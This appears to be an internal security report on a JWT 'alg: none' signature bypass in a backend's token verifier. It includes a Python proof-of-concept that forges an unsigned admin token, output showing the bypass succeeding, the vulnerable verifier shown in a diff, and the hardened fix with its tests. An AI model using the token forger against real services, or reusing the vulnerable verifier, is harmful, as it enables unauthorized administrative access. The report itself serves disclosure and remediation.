JWT Algorithm Confusion Vulnerability & Remediation

Zero-Trust Secure Backend & Identity Threat Detection · Technical Documentation

Security Vulnerability & Remediation Report: JWT Algorithm Confusion & `alg: none` Signature Bypass

Metric	Detail
Vulnerability Title	JWT Algorithm Confusion & Unsigned Token Acceptance (`alg: none`)
Threat ID	`THR-ELEV-01` (STRIDE: Elevation of Privilege)
CWE Classification	**CWE-327**: Use of a Broken or Risky Cryptographic Algorithm **CWE-347**: Improper Verification of Cryptographic Signature
OWASP ASVS v4.0	**V3.5.2** (Verify token signatures are validated using explicit whitelisted algorithms)
MITRE ATT&CK	**T1550.001** (Use Alternate Authentication Material: Application Access Token)
Severity	**Critical (CVSS v3.1: 9.8 / AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)**

---

1. Vulnerability Overview & Discovery Vector

During security code analysis of token parsing routines in the authentication subsystem, an algorithm confusion vulnerability was identified. The vulnerable parser dynamically inspected the token header `alg` field prior to verification and permitted unvalidated algorithm values, specifically falling back to an unverified payload decode when `alg: none` was supplied.

An unauthenticated remote attacker could craft an unsigned JWT token containing arbitrary administrative claims (`{"sub": "attacker", "role": "admin"}`) with header `{"alg": "none", "typ": "JWT"}` and an empty signature component (`<header_b64>.<payload_b64>.`).

When submitted to protected API endpoints, the backend processed the token as valid, completely bypassing HMAC-SHA256 signature verification and granting full administrative privileges over all case files and audit logs.

---

2. Proof of Concept (PoC) Exploit

The exploit script (`scripts/vuln_demo/exploit.py`) constructs a token with an unsigned payload and submits it:

```
# Exploit logic
def create_forged_alg_none_token(user_id: str, role: str) -> str:
    header = {"alg": "none", "typ": "JWT"}
```

```
    payload = {
        "sub": user_id,
        "role": role,
        "iat": int(time.time()),
        "exp": int(time.time() + 3600),
        "type": "access"
    }
    h_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=")
    p_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip("=")
    return f"{h_b64}.{p_b64}."
```

Execution Output:

```
=== [EXPLOIT SIMULATION: JWT ALGORITHM CONFUSION (THR-ELEV-01)] ===
Forged 'alg: none' Token: eyJhbGciOiAibm9uZSI...eyJzdWIiOiAiYXR0YWNrZXIiLCAicm9sZSI6ICJhZG1pbiJ9.

1. Testing against Vulnerable Token Verifier...
   [!] EXPLOIT SUCCESSFUL! Attacker bypassed signature check and acquired role: 'admin'

2. Testing against Remediated Hardened Token Verifier...
   [+] ATTACK BLOCKED! Hardened verifier rejected forged token: Insecure algorithm none rejected.
```

---

3. Root Cause Analysis & Remediation Diff

Root Cause:

The parser allowed the client-controlled header `alg` to dictate whether cryptographic signature validation occurred, violating zero-trust verification rules.

Remediation Diff:

```
--- vulnerable_verifier.py
+++ remediated_verifier.py
@@ -1,13 +1,21 @@
 import jwt
-from typing import Dict, Any
+from typing import Dict, Any
+from fastapi import HTTPException, status

+ALLOWED_ALGORITHMS = ["HS256"]
+
-def verify_token_vulnerable(token: str, secret: str) -> Dict[str, Any]:
-    unverified_header = jwt.get_unverified_header(token)
-    alg = unverified_header.get("alg")
-    if alg == "none" or alg is None:
-        return jwt.decode(token, options={"verify_signature": False})
-    return jwt.decode(token, secret, algorithms=[alg])
+def verify_token_remediated(token: str, secret: str) -> Dict[str, Any]:
+    try:
+        header = jwt.get_unverified_header(token)
+        if header.get("alg") not in ALLOWED_ALGORITHMS:
+            raise HTTPException(
```

```
+                status_code=status.HTTP_401_UNAUTHORIZED,
+                detail=f"Insecure algorithm {header.get('alg')} rejected. Only {ALLOWED_ALGORITHMS} allo
wed."
+            )
+        return jwt.decode(
+            token,
+            secret,
+            algorithms=ALLOWED_ALGORITHMS,
+            options={"verify_signature": True, "require": ["exp", "sub", "role", "iat"]}
+        )
+    except jwt.PyJWTError as e:
+        raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail=str(e))
```

---

4. Verification & Regression Testing

Automated verification harness (`scripts/vuln_demo/verify_fix.py`) executes continuously in CI: - **Test 1**: Proves exploit payload triggers on the vulnerable target. - **Test 2**: Proves the hardened verifier unconditionally rejects `alg: none`, malformed signatures, and expired claims with `HTTP 401 Unauthorized`.